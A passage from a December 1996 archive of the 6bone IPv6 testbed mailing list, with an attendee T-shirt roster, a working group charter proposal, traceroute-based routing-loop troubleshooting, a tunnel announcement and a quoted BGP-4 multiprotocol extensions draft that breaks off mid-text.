Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	ietf
Atkinson, Ran	2 L, 1 XL	ietf
Bhogavilli, Suresh	1 L	ietf
Bound, Jim	3 L	ietf
Cianci, Frank	1 XL	ietf
Clauberg, Axel	3 XL	ietf
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Deering, Steve	1 XL	ietf
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf
Durand, Alain	2L, 8 XL	ietf
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
Fang, Hsin	1 XL	ietf
Fernstedt, Anders	25 L, 25 XL	ietf
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Jinmei, Tatuya	5 L	ietf
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
Kato, Akira	2 L	ietf
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Lee, Ron	1 L, 5 XL	ietf
McCann, Jack	2 XL	? (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Ouin, Edouard	3 XL	ietf
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shand, Mike	1 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Souissi, Mohsen	1 L	ietf (Dupont pickup)
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf
Zhang, Lixia	1 M	ietf
-end




From majordom@ISI.EDU  Tue Dec 17 10:56:00 1996
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Date: Tue, 17 Dec 1996 18:56:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone and the IETF
Sender: owner-6bone@ISI.EDU
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Status: RO

The IETF San Jose meetings went quite well, in spite of early concerns
about overcrowding.  The really important v6 highlights for me were:

1.  Dimitry Haskin (Bay) and Dave Katz (Cisco) agreeing to work together to
make a BGP4+ that supports both v4 and v6.  I think this will turn out to
be a watershed item for ISP willingness to support v6.

2.  Sincere interest in Mike O'Dell's 8+8 v6 addressing proposal.  There
are many unanswered questions, but almost everyone feels that understanding
if 8+8 can be made to work is a very high priority.


As for the 6bone BOF, things went well.  There were ~115 folk attending and
strong consensus to start up a 6bone working group. I have agreed to chair
the working group.  More on this new working group formation below.

We also discussed topology, addressing, and routing for a 6bone better
suited for continuing IPv6 testbed activities.  Also discussed was a new
format for the RIPE registry based on RPSL work and what to do with the
6bone map.  On these discussion items there were no decisions attempted,
just agreement to carry on more discussions on the mailer.  More on this in
other email(s).


As for Working Group formation, I have included a first draft 6bone charter
below as I presented to the BOF.  I would like some discussion and
hopefully consensus on this, and on a set of goals/milestones for the first
year under this charter.  I have proposed some for discussion below.


You will note that I have caste the 6bone BOF discussions on topology,
addressing and routing in the context of creating a new 6bone testbed
infrastructure better suited to learning about IPv6 implementations and
IPv6 transition.  Though not explicitly stated this way in the large, I
believe this to be the general intent of the discussions, and at this point
in the life of the 6bone, an important next step.

Comments to the mailer please!


Thanks,

Bob

=====================
Goals and Milestones:

Jan 97
	Establish and submit initial charter, goals, and first year group
agenda.

Jan/Feb 97
	Interact with RPS WG on extensions for "Representing Tunnels in
RPSL" based on David Meyer's Internet-Draft.

Jan 97
	Continue discussion on topology, addressing and routing (from the
BOF) for a new 6bone infrastructure better suited to IPv6 testbed goals.

	Continue discussion on the future of the RIPE-NCC 6bone routing
registry and how it relates to the RPSL work.

Feb 97
	Begin to restructure the 6bone testbed based on discussions.

Mar 97
	Begin work on an Internet-Draft outlining requirements for the new
6bone infrastructure.

Apr 97
	Decide what direction to take with the RIPE-NCC 6bone routing registry.

Apr 97
	Continuing interaction with, and feedback to, the IPng working
groups at the IETF.

Aug 97
	Finish work on Internet-Draft outlining requirements for the new
6bone infrastructure.

Aug 97
	Continuing interaction with, and feedback to, the IPng working
groups at the IETF.

Sep 97
	Interact with MBONED on their work for co-existence strategies for
IPv4 multicast and IPv6 multicast. (This based on the MBONED milestones.)

Dec 97
	Begin work on a document describing operational practices and
experiences for the 6bone.

Dec 97
	Continuing interaction with, and feedback to, the IPng working
groups at the IETF.

===============================================================================
Draft 6bone Charter as presented at the BOF

The 6bone Working Group is a forum for information concerning the
deployment, engineering, and operation of ipv6 protocols and procedures in
the global Internet. This activity will include, but not be limited to:

- Deployment of ipv6 transport and routing in the global Internet via a
"6bone" testbed to assist in the following.

- Creation of "practice and experience" informational RFC documents that
capture the experiences of those who have deployed, and are deploying,
various ipv6 technologies.

- Feedback to various IETF ipv6-related activities, based on testbed
experience, where appropriate.

- Development of mechanisms and procedures to aid in the transition to
native ipv6, where appropriate.

- Development of mechanisms and procedures for sharing operational
information to aid in operation of global ipv6 routing.

- end



From majordom@ISI.EDU  Tue Dec 17 13:47:21 1996
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To: dhaskin@baynetworks.com (Dimitry Haskin)
Cc: 6bone@isi.edu
Subject: Re: routin loop 
In-Reply-To: Your message of Tue, 17 Dec 96 15:56:14 -0500.
             <199612172056.PAA11778@pobox.BayNetworks.com> 
Date: Tue, 17 Dec 96 21:47:21 -0800
From: Stephen Stuart <stuart@pa.dec.com>
X-Mts: smtp
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

> 
> traceroute -ip6 5f03:1200:9e7d:6000::1c10:30d1
> 1 [FE80::CC7B:02EC], time = 167 ms.
> 2 [5F00:6D00:C01F:0700:0001:0060:3E11:6770], time = 164 ms.
> 3 [FE80::CC7B:02EC], time = 140 ms.
> 4 [5F00:6D00:C01F:0700:0001:0060:3E11:6770], time = 171 ms.

I'm hops 1 and 3, and I think I fixed this by directing traffic to LUT
and IFB through NRL instead of CISCO, but my traceroute now dies at
IFB:

% traceroute6 5f03:1200:9e7d:6000::1c10:30d1
traceroute to 5f03:1200:9e7d:6000::1c10:30d1 (5F03:1200:9E7D:6000::1C10:30D1), 30 hops max, 24 byte packets
 1  gw.ipv6.pa-x.dec.com (5F00:2100:CC7B::12:0:F842:142C)  2.928 ms  1.952 ms  0.976 ms
 2  buzzcut.ipv6.nrl.navy.mil (5F00:3000:84FA:5A00::5)  89.744 ms  88.416 ms  87.84 ms
 3  ::194.105.166.254 (::194.105.166.254)  1403.25 ms  408.544 ms *
 4  * * *
 5  * * *
 6  * * *
 7  * * *
 8  * * *


> traceroute -ip6 5f01:2500:83e1:0:1:40:b40:728b
> 1 *
> 2 [FE80::CC7B:02EC], time = 249 ms.
> 3 [5F02:3000:C020:AE00:201D::0007], time = 207 ms.
> 4 [FE80::84B1:7E9D], time = 367 ms.
> 5 [FE80::CC7B:02EC], time = 503 ms.
> 6: *
> 7 [FE80::84B1:7E9D], time = 597 ms.
> 8 [FE80::CC7B:02EC], time = 574 ms.
> 
> It seems that we have plenty of these nowadays ;(

Hops 2, 5, and 8 were me, and I was sending the traffic back to you
(BAY). Looking at the registry entry for ESNET, it appeared that the
right thing to do was for me to direct the traffic toward CISCO; I did,
and:

% traceroute6 5f01:2500:c680:200:0:800:2bbc:f1ec
traceroute to 5f01:2500:c680:200:0:800:2bbc:f1ec (5F01:2500:C680:200::800:2BBC:F1EC), 30 hops max, 24 byte packets
 1  gw.ipv6.pa-x.dec.com (5F00:2100:CC7B::12:0:F842:142C)  1.952 ms  0.976 ms  0.976 ms
 2  6bone-router.cisco.inner.net (5F00:6D00:C01F:700:1:60:3E11:6770) 4.88 ms *  5.856 ms
 3  esnet-v6r1.es.net (5F01:2500:C680:200::800:2BBC:F1EC)  16.592 ms  27.328 ms  15.616 ms

Can you check to see if you still see a loop?

Stephen

From majordom@ISI.EDU  Wed Dec 18 05:23:21 1996
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Date: Wed, 18 Dec 1996 10:18:37 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <199612181518.KAA13205@pobox.BayNetworks.com>
To: stuart@pa.dec.com
Subject: Re: routin loop
Cc: 6bone@isi.edu
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Stephen,

Those two loops that I originally posted are fixed. But there is
another one:

traceroute -ip6 5f00:3100:8106:3300:0:c0:3302:5a
1 (If 1): [FE80::84B1:7E9D], time = 105 ms.
2 (If 7): [FE80::CC7B:02EC], time = 148 ms.
3 (If 0): [5F02:3000:C020:AE00:201D::0007], time = 132 ms.
4 (If 1): [FE80::84B1:7E9D], time = 253 ms.
5 (If 7): [FE80::CC7B:02EC], time = 308 ms.
6 (If 0): [5F02:3000:C020:AE00:201D::0007], time = 304 ms.
7 (If 1): [FE80::84B1:7E9D], time = 457 ms.
8 (If 7): [FE80::CC7B:02EC], time = 531 ms.


Looking at NIST's stats on the 6bone home page it seems that
very few 6bone nodes are reachable from NIST.

I beleive that the problem stems from the fact that we now
have a combination of rip and static routing on 6bone.  This
is a sure recipe for loops.  A correct model would be to
form a backbone of routers that use only rip to pass reachability
information among themselves and use static routes only to
point to their leaf clients.

Dimitry

> From stuart@pa.dec.com Wed Dec 18 00:50 EST 1996
> Posted-Date: Tue, 17 Dec 1996 21:50:50 -0800 (PST)
> To: dhaskin@BayNetworks.com (Dimitry Haskin)
> Cc: 6bone@isi.edu
> Subject: Re: routin loop 
> Date: Tue, 17 Dec 96 21:47:21 -0800
> From: Stephen Stuart <stuart@pa.dec.com>
> X-Mts: smtp
> Content-Type> : > text> 
> Content-Length: 1910
> 
> > 
> > traceroute -ip6 5f03:1200:9e7d:6000::1c10:30d1
> > 1 [FE80::CC7B:02EC], time = 167 ms.
> > 2 [5F00:6D00:C01F:0700:0001:0060:3E11:6770], time = 164 ms.
> > 3 [FE80::CC7B:02EC], time = 140 ms.
> > 4 [5F00:6D00:C01F:0700:0001:0060:3E11:6770], time = 171 ms.
> 
> I'm hops 1 and 3, and I think I fixed this by directing traffic to LUT
> and IFB through NRL instead of CISCO, but my traceroute now dies at
> IFB:
> 
> % traceroute6 5f03:1200:9e7d:6000::1c10:30d1
> traceroute to 5f03:1200:9e7d:6000::1c10:30d1 (5F03:1200:9E7D:6000::1C10:30D1), 30 hops max, 24 byte packets
>  1  gw.ipv6.pa-x.dec.com (5F00:2100:CC7B::12:0:F842:142C)  2.928 ms  1.952 ms  0.976 ms
>  2  buzzcut.ipv6.nrl.navy.mil (5F00:3000:84FA:5A00::5)  89.744 ms  88.416 ms  87.84 ms
>  3  ::194.105.166.254 (::194.105.166.254)  1403.25 ms  408.544 ms *
>  4  * * *
>  5  * * *
>  6  * * *
>  7  * * *
>  8  * * *
> 
> 
> > traceroute -ip6 5f01:2500:83e1:0:1:40:b40:728b
> > 1 *
> > 2 [FE80::CC7B:02EC], time = 249 ms.
> > 3 [5F02:3000:C020:AE00:201D::0007], time = 207 ms.
> > 4 [FE80::84B1:7E9D], time = 367 ms.
> > 5 [FE80::CC7B:02EC], time = 503 ms.
> > 6: *
> > 7 [FE80::84B1:7E9D], time = 597 ms.
> > 8 [FE80::CC7B:02EC], time = 574 ms.
> > 
> > It seems that we have plenty of these nowadays ;(
> 
> Hops 2, 5, and 8 were me, and I was sending the traffic back to you
> (BAY). Looking at the registry entry for ESNET, it appeared that the
> right thing to do was for me to direct the traffic toward CISCO; I did,
> and:
> 
> % traceroute6 5f01:2500:c680:200:0:800:2bbc:f1ec
> traceroute to 5f01:2500:c680:200:0:800:2bbc:f1ec (5F01:2500:C680:200::800:2BBC:F1EC), 30 hops max, 24 byte packets
>  1  gw.ipv6.pa-x.dec.com (5F00:2100:CC7B::12:0:F842:142C)  1.952 ms  0.976 ms  0.976 ms
>  2  6bone-router.cisco.inner.net (5F00:6D00:C01F:700:1:60:3E11:6770) 4.88 ms *  5.856 ms
>  3  esnet-v6r1.es.net (5F01:2500:C680:200::800:2BBC:F1EC)  16.592 ms  27.328 ms  15.616 ms
> 
> Can you check to see if you still see a loop?
> 
> Stephen
 

From majordom@ISI.EDU  Wed Dec 18 00:57:17 1996
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To: Stephen Stuart <stuart@pa.dec.com>
Cc: dhaskin@baynetworks.com (Dimitry Haskin), 6bone@ISI.EDU
Subject: Re: routin loop 
In-Reply-To: Your message of "Tue, 17 Dec 96 21:47:21 PST."
             <9612180547.AA14015@nsl-too.pa.dec.com> 
Date: Wed, 18 Dec 96 08:57:17 -0800
From: "Rebecca L. Nitzan" <nitzan@es.net>
X-Mts: smtp
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

>(BAY). Looking at the registry entry for ESNET, it appeared that the
>right thing to do was for me to direct the traffic toward CISCO; I did,
>and:
>
>% traceroute6 5f01:2500:c680:200:0:800:2bbc:f1ec
>traceroute to 5f01:2500:c680:200:0:800:2bbc:f1ec (5F01:2500:C680:200::800:2BBC
> :F1EC), 30 hops max, 24 byte packets
> 1  gw.ipv6.pa-x.dec.com (5F00:2100:CC7B::12:0:F842:142C)  1.952 ms  0.976 ms 
>  0.976 ms
> 2  6bone-router.cisco.inner.net (5F00:6D00:C01F:700:1:60:3E11:6770) 4.88 ms *
>   5.856 ms
> 3  esnet-v6r1.es.net (5F01:2500:C680:200::800:2BBC:F1EC)  16.592 ms  27.328 m
> s  15.616 ms
>
>Can you check to see if you still see a loop?
>


Stephen:

You are correctly pointing the prefix to Cisco, who in turn has a 
static route to ESnet for 5f01:2500:83e1::/48.

From ESnet it looks like I can't reach any of the FNAL hosts either,
Status: RO

I tried all 4 of them that I know of. We'll follow up w/FNAL.

root@esnet-v6r1 795 : traceroute6  5f01:2500:83e1:0:1:40:b40:728b
traceroute to 5f01:2500:83e1:0:1:40:b40:728b
(5F01:2500:83E1::1:40:B40:728B), 30 hops max, 24 byte packets
 1  * * *
 2  * * *
...


Thanks for letting us know. 

			-- Becca


-----------------------------------------------------------------------
Rebecca L. Nitzan                        Lawrence Berkeley National Lab
Network Engineering Services Group       1 Cyclotron Rd, MS 50A-3111
ESnet - Energy Sciences Network          Berkeley, CA. 94720
phone: 510-486-6468 fax: 510-486-6712    nitzan@es.net
-----------------------------------------------------------------------


From majordom@ISI.EDU  Wed Dec 18 00:14:26 1996
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To: dhaskin@baynetworks.com (Dimitry Haskin)
Cc: stuart@pa.dec.com, 6bone@isi.edu
Subject: Re: routin loop 
In-Reply-To: Your message of Wed, 18 Dec 96 10:18:37 -0500.
             <199612181518.KAA13205@pobox.BayNetworks.com> 
Date: Wed, 18 Dec 96 08:14:26 -0800
From: Stephen Stuart <stuart@pa.dec.com>
X-Mts: smtp
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

> Stephen,
> 
> Those two loops that I originally posted are fixed. But there is
> another one:
> 
> traceroute -ip6 5f00:3100:8106:3300:0:c0:3302:5a
> [...]
>
> Looking at NIST's stats on the 6bone home page it seems that
> very few 6bone nodes are reachable from NIST.

I pointed my NIST route at NRL, and got there in 3:

% traceroute6 5f00:3100:8106:3300:0:c0:3302:5a 
traceroute to 5f00:3100:8106:3300:0:c0:3302:5a (5F00:3100:8106:3300::C0:3302:5A), 30 hops max, 24 byte packets
 1  gw.ipv6.pa-x.dec.com (5F00:2100:CC7B::12:0:F842:142C)  3.908 ms  1.954 ms  1.954 ms
 2  buzzcut.ipv6.nrl.navy.mil (5F00:3000:84FA:5A00::5)  113.251 ms  108.336 ms  109.312 ms
 3  ipng9.ipng.nist.gov (5F00:3100:8106:3300::C0:3302:5A)  125.904 ms  *  126.88 ms

> I beleive that the problem stems from the fact that we now
> have a combination of rip and static routing on 6bone.  This
> is a sure recipe for loops.  A correct model would be to
> form a backbone of routers that use only rip to pass reachability
> information among themselves and use static routes only to
> point to their leaf clients.

Something like that, to be sure; much of IETF week is a blur to me,
but I have a vague recollection that the opposite was proposed? A
static routed core, with RIP to leaf nodes?

Stephen

From majordom@ISI.EDU  Wed Dec 18 18:48:49 1996
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Message-Id: <199612181848.SAA21223@gizmo.lut.ac.uk>
To: 6bone@isi.edu
Subject: Re: routin loop 
X-Uri: <URL:http://www.net.lut.ac.uk/~martin>
In-Reply-To: Your message of "Tue, 17 Dec 1996 21:47:21 PST."
             <9612180547.AA14015@nsl-too.pa.dec.com> 
Mime-Version: 1.0
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Date: Wed, 18 Dec 1996 18:48:49 +0000
From: Martin Hamilton <martin@mrrl.lut.ac.uk>
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Status: RO

--==_Exmh_853725952P
Content-Type: text/plain; charset=us-ascii

Stephen Stuart writes:

| % traceroute6 5f03:1200:9e7d:6000::1c10:30d1
| traceroute to 5f03:1200:9e7d:6000::1c10:30d1 (5F03:1200:9E7D:6000::1C10:30D1)
| , 30 hops max, 24 byte packets
| 1  gw.ipv6.pa-x.dec.com (5F00:2100:CC7B::12:0:F842:142C)  2.928 ms  1.952 ms 
|  0.976 ms
| 2  buzzcut.ipv6.nrl.navy.mil (5F00:3000:84FA:5A00::5)  89.744 ms  88.416 ms  
| 87.84 ms
| 3  ::194.105.166.254 (::194.105.166.254)  1403.25 ms  408.544 ms *
| 4  * * *

We'd slipped off the 6bone!  Having said that, this machine is highly
experimental in any case, so don't be surprised if you can't contact
it.  I've added a note to this effect to our RIPE entry.   

You should be able to ping us now, and I'll try not to break anything 
for a few days... :-)

Cheerio,

Martin



--==_Exmh_853725952P
Content-Type: application/pgp-signature

-----BEGIN PGP MESSAGE-----
Version: 2.6.3i

iQCVAwUBMrg8jdZdpXZXTSjhAQFHBQQAmGzGSqEQZeC6i18Q3h2CzLXLffzd18ec
mP5C/8b9+VDU3NAuKDZ6ibgbx5APF3fl6Fk4it3L3VKWBEt9CuS5Uma0hiaqdGND
sABh1PH13+Jx6h8izea3Zl4aConB5tZc+Lk/2lIFAlWS4il0xNIzuFJW/2yqTtzg
0GtAGUdiCdY=
=11rt
-----END PGP MESSAGE-----

--==_Exmh_853725952P--

From majordom@ISI.EDU  Wed Dec 18 12:45:11 1996
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Date: Wed, 18 Dec 1996 11:45:11 +0100
From: Guardini Ivano <Ivano.Guardini@cselt.stet.it>
Subject: New tunnel from CSELT
To: "'6bone@isi.edu'" <6bone@isi.edu>
Message-Id: <c=IT%a=_%p=CSELT%l=XRR1-961218104511Z-18220@xrr1.cselt.stet.it>
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Status: RO

Hi,

there is one new tunnel between CSELT and G6.

            G6 <-----> CSELT

I have updated CSELT RIPE database entry:

site:           CSELT (Centro Studi E Laboratori Telecomunicazioni)
location:       Torino, ITALY
loc-string:     45 03 52.2n 07 39 43.2e 250m
prefix:         5f16:4d00::/32
ping:           5f16:4d00:a3a2:1100:11:800:2071:d812
tunnel:         163.162.17.77 129.88.26.1    G6
tunnel:         163.162.252.4 131.175.5.37   CEFRIEL
contact:        Ivano Guardini <ivano.guardini@cselt.stet.it>
status:         operational since December 4, 1996
remark:         Sun SPARC STATION 20, IPv6 for Solaris 2.5
changed:        ivano.guardini@cselt.stet.it 19961218
source:         RIPE

Here is ping from CSELT to G6:

root@carmen:/#>ping6 -s 6bone-gw.ipv6.imag.fr
PING 6bone-gw.ipv6.imag.fr: 56 data bytes
104 bytes from 5f06:b500:8158:1a00:1:0:8158:1a01: icmp_seq=0. time=274
ms
104 bytes from 5f06:b500:8158:1a00:1:0:8158:1a01: icmp_seq=1. time=335
ms
104 bytes from 5f06:b500:8158:1a00:1:0:8158:1a01: icmp_seq=2. time=240
ms
104 bytes from 5f06:b500:8158:1a00:1:0:8158:1a01: icmp_seq=4. time=373
ms
104 bytes from 5f06:b500:8158:1a00:1:0:8158:1a01: icmp_seq=5. time=245
ms
104 bytes from 5f06:b500:8158:1a00:1:0:8158:1a01: icmp_seq=6. time=161
ms

     Bye

             Ivano



---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
---------------------------------------------------


From majordom@ISI.EDU  Wed Dec 18 12:21:15 1996
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To: Yakov Rekhter <yakov@cisco.com>
Cc: skh@merit.edu, 6bone@isi.edu, dkatz@cisco.com, bgp@ans.net
Subject: Re: BGP-4+ 
In-Reply-To: Your message of "Wed, 18 Dec 1996 12:11:14 PST."
             <199612182011.MAA23562@puli.cisco.com> 
X-Phone: +1 703 812 3704
Date: Wed, 18 Dec 1996 17:21:15 EST
From: "John W. Stewart III" <jstewart@metro.isi.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO


yakov,

under what circumstances does a router send SNPAs? and
what does a router do on receipt of SNPAs?

also, from reading the draft, i'm assuming that you plan
to support only ASs and not RDs? did you consider typing
routing domains in addition to network addresses?

thanks,
/jws

 > Sue,
 > 
 > > 
 > > Hi all:
 > > 
 > > 
 > > FYI - Neither Dimitry or Dave Katz have forwarded a specification
 > > for the BGP-4+.  Please encourage them to forward
 > > a description of the protocol to the idr working group.
 > > An open discussion of changes to bgp-4 is always welcome.
 > > Yakov and I both expressed interest in getting a specification
 > > before the working group.  We did not discuss it at the
 > > December meeting because there was not a specification.
 > > 
 > > [This ends my speaking as the co-chair of IDR working group.]
 > 
 > Attached is the proposal from Tony Bates, Ravi Chandra, Dave Katz
 > and myself for backward compatible multiprotocol extensions to
 > BGP-4.
 > 
 > Yakov.
 > 
 > P.S. I added bgp@ans.net to the cc: list.
 > --------------------------------------------------------------------
 > 
 > 
 > 
 > 
 > 
 > Network Working Group                                   Tony Bates
 > Internet Draft                                       Cisco Systems
 > Expiration Date: June  1997                           Ravi Chandra
 >                                                      Cisco Systems
 >                                                          Dave Katz
 >                                                      Cisco Systems
 >                                                      Yakov Rekhter
 >                                                      Cisco Systems
 > 
 > 
 >                    Multiprotocol Extensions for BGP-4
 > 
 >                  draft-bates-bgp4-multiprotocol-00.txt
 > 
 > 
 > 1. Status of this Memo
 > 
 >    This document is an Internet-Draft.  Internet-Drafts are working
 >    documents of the Internet Engineering Task Force (IETF), its areas,
 >    and its working groups.  Note that other groups may also distribute
 >    working documents as Internet-Drafts.
 > 
 >    Internet-Drafts are draft documents valid for a maximum of six months
 >    and may be updated, replaced, or obsoleted by other documents at any
 >    time.  It is inappropriate to use Internet-Drafts as reference
 >    material or to cite them other than as ``work in progress.''
 > 
 >    To learn the current status of any Internet-Draft, please check the
   ``1id-abstracts.txt'' listing contained in the Internet-Drafts Shadow
 >    Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe),
 >    munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or
 >    ftp.isi.edu (US West Coast).
 > 
 > 
 > 2. Abstract
 > 
 >    Currently BGP-4 [BGP-4] is capable of carrying routing information
 >    only for IPv4 [IPv4]. This document defines extensions to BGP-4 to
 >    enable it to carry routing information for multiple Network Layer
 >    protocols (e.g., IPv6, IPX, etc...). The extensions are backward
 >    compatible - a router that supports the extensions can interoperate
 >    with a router that doesn't support the extensions.
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > Bates, Chandra, Katz, Rekhter                                   [Page 1]
 > 
 > 
 > 
 > 
 > 
 > Internet Draft   draft-bates-bgp4-multiprotocol-00.txt     December 1996
 > 
 > 
 > 3. Overview
 > 
 >    The only three pieces of information carried by BGP-4 that are IPv4
 >    specific are (a) the NEXT_HOP attribute (expressed as an IPv4
 >    address), (b) AGGREGATOR (contains an IPv4 address), and (c) NLRI
 >    (expressed as IPv4 address prefixes). This document assumes that any
 >    BGP speaker (including the one that supports multiprotocol
 >    capabilities defined in this document) will have to support IPv4 and
 >    have an IPv4 address.  Therefore, to enable BGP-4 to support routing
 >    for multiple Network Layer protocols the only two things that have to
 >    be added to BGP-4 are (a) the ability to associate a particular
 >    Network Layer protocol with the next hop information, and (b) the
 >    ability to associated a particular Network Layer protocol with NLRI.
 >    To identify individual Network Layer protocols this document uses
 >    Address Family, as defined in [RFC1700].
 > 
 >    One could further observe that the next hop information (the
 >    information provided by the NEXT_HOP attribute) is meaningful (and
 >    necessary) only in conjunction with the advertisements of reachable
 >    destinations - in conjunction with the advertisements of unreachable
 >    destinations (withdrawing routes from service) the next hop
 >    information is meaningless. This suggests that the advertisement of
 >    reachable destinations should be grouped with the advertisement of
 >    the next hop to be used for these destinations, and that the
 >    advertisement of reachable destinations should be segregated from the
 >    advertisement of unreachable destinations.
 > 
 >    To provide backward compatibility, as well as to simplify
 >    introduction of the multiprotocol capabilities into BGP-4 this
 >    document uses two new attributes, Multiprotocol Reachable NLRI
 >    (MP_REACH_NLRI), and Multiprotocol Unreachable NLRI
 >    (MP_UNREACH_NLRI). The first one (MP_REACH_NLRI) is used to carry the
 >    set of reachable destinations together with the next hop information
 >    to be used for forwarding to these destinations. The second one
 >    (MP_UNREACH_NLRI) is used to carry the set of unreachable
 >    destinations.  Both of these attributes are optional and non-
 >    transitive.  This way a BGP speaker that doesn't support the
 >    multiprotocol capabilities would just ignore the information carried
 >    in these attributes, and wouldn't pass it to other BGP speakers.
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > Bates, Chandra, Katz, Rekhter                                   [Page 2]
 > 
 > 
 > 
 > 
 > 
 > Internet Draft   draft-bates-bgp4-multiprotocol-00.txt     December 1996
 > 
 > 
 > 4. Multiprotocol Reachable NLRI - MP_REACH_NLRI (Type Code 14):
 > 
 >    This is an optional non-transitive attribute that can be used for the
 >    following purposes:
 > 
 >       (a) to advertise a feasible route to a peer
 > 
 >       (b) to permit a router to advertise the Network Layer address of
 >       the router that should be used as the next hop to the destinations
 >       listed in the Network Layer Reachability Information field of the
 >       MP_NLRI attribute.
 > 
 >       (c) to allow a given router to report some or all of the
 >       Subnetwork Points of Attachment (SNPAs) that exist within the
 >       local system
 > 
 > 
 >    The attribute consists of two components, the next hop information
 >    and the list of reachable destinations.
 > 
 >    The attribute is encoded as shown below:
 > 
 > 
 >       +---------------------------------------------------+
 >       | Address Family (2 octets)                         |
 >       +---------------------------------------------------+
 >       | Length of Network Address (1 octet)               |
 >       +---------------------------------------------------+
 >       | Network Address of Next Hop (variable)            |
 >       +---------------------------------------------------+
 >       | Number of SNPAs (1 octet)                         |
 >       +---------------------------------------------------+
 >       | Length of first SNPA(1 octet)                     |
 >       +---------------------------------------------------+
 >       | First SNPA (variable)                             |
 >       +---------------------------------------------------+
 >       | Length of second SNPA (1 octet)                   |
 >       +---------------------------------------------------+
 >       | Second SNPA (variable)                            |
 >       +---------------------------------------------------+
 >       | ...                                               |
 >       +---------------------------------------------------+
 >       | Length of Last SNPA (1 octet)                     |
 >       +---------------------------------------------------+
 >       | Last SNPA (variable)                              |
 >       +---------------------------------------------------+
 >       | Network Layer Reachability Information (variable) |
 >       +---------------------------------------------------+
 > 
 > 
 > 
 > Bates, Chandra, Katz, Rekhter                                   [Page 3]
 > 
 > 
 > 
 > 
 > 
 > Internet Draft   draft-bates-bgp4-multiprotocol-00.txt     December 1996
 > 
 > 
 >    The use and meaning of these fields are as follows:
 > 
 >       Address Family
 > 
 >          This field carries the identity of the Network Layer protocol
 >          associated with the Network Address that follows. Presently
 >          defined values for this field are specified in RFC1700.
 > 
 >       Length of Network Address:
 > 
 >          A 1 octet field whose value expresses the length of the
 >          "Network Address of Next Hop" field as measured in octets
 > 
 >       Network Address of Next Hop:
 > 
 >          A variable length field that contains the Network Address of
 >          the next router on the path to the destination system
 > 
 >       Number of SNPAs:
 > 
 >          A 1 octet field which contains the number of distinct SNPAs to
 >          be listed in the following fields.  The value 0 may be used to
 >          indicate that no SNPAs are listed in this attribute.
 > 
 >       Length of Nth SNPA:
 > 
 >          A 1 octet field whose value expresses the length of the "Nth
 >          SNPA of Next Hop" field as measured in semi-octets
 > 
 >       Nth SNPA of Next Hop:
 > 
 >          A variable length field that contains an SNPA of the router
 >          whose Network Address is contained in the "Network Address of
 >          Next Hop" field.  The field length is an integral number of
 >          octets in length, namely the rounded-up integer value of one
 >          half the SNPA length expressed in semi-octets; if the SNPA
 >          contains an odd number of semi-octets, a value in this field
 >          will be padded with a trailing all-zero semi-octet.
 > 
 >       Network Layer Reachability Information:
 > 
 >          A variable length field that lists the destinations for the
 >          feasible routes that are being advertised in this attribute.
 >          Each NLRI is encoded as specified in the "NLRI encoding"
 >          section of this document.
 > 
 >    The next hop information carried in the MP_REACH_NLRI path attribute
 >    defines the Network Layer address of the border router that should be
 > 
 > 
 > 
 > Bates, Chandra, Katz, Rekhter                                   [Page 4]
 > 
 > 
 > 
 > 
 > 
 > Internet Draft   draft-bates-bgp4-multiprotocol-00.txt     December 1996
 > 
 > 
 >    used as the next hop to the destinations listed in the MP_NLRI
 >    attribute in the UPDATE message.  When advertising a MP_REACH_NLRI
 >    attribute to an external peer, a router may use one of its own
 >    interface addresses in the next hop component of the attribute,
 >    provided the external peer to which the route is being advertised
 >    shares a common subnet with the next hop address.  This is known as a
 >    "first party" next hop.  A BGP speaker can advertise to an external
 >    peer an interface of any internal peer router in the next hop
 >    component, provided the external peer to which the route is being
 >    advertised shares a common subnet with the next hop address.  This is
 >    known as a "third party" next hop information.  A BGP speaker can
 >    advertise any external peer router in the next hop component,
 >    provided that the Network Layer address of this border router was
 >    learned from an external peer, and the external peer to which the
 >    route is being advertised shares a common subnet with the next hop
 >    address.  This is a second form of "third party" next hop
 >    information.
 > 
 >    Normally the next hop information is chosen such that the shortest
 >    available path will be taken.  A BGP speaker must be able to support
 >    disabling advertisement of third party next hop information to handle
 >    imperfectly bridged media.
 > 
 >    A BGP speaker must never advertise an address of a peer to that peer
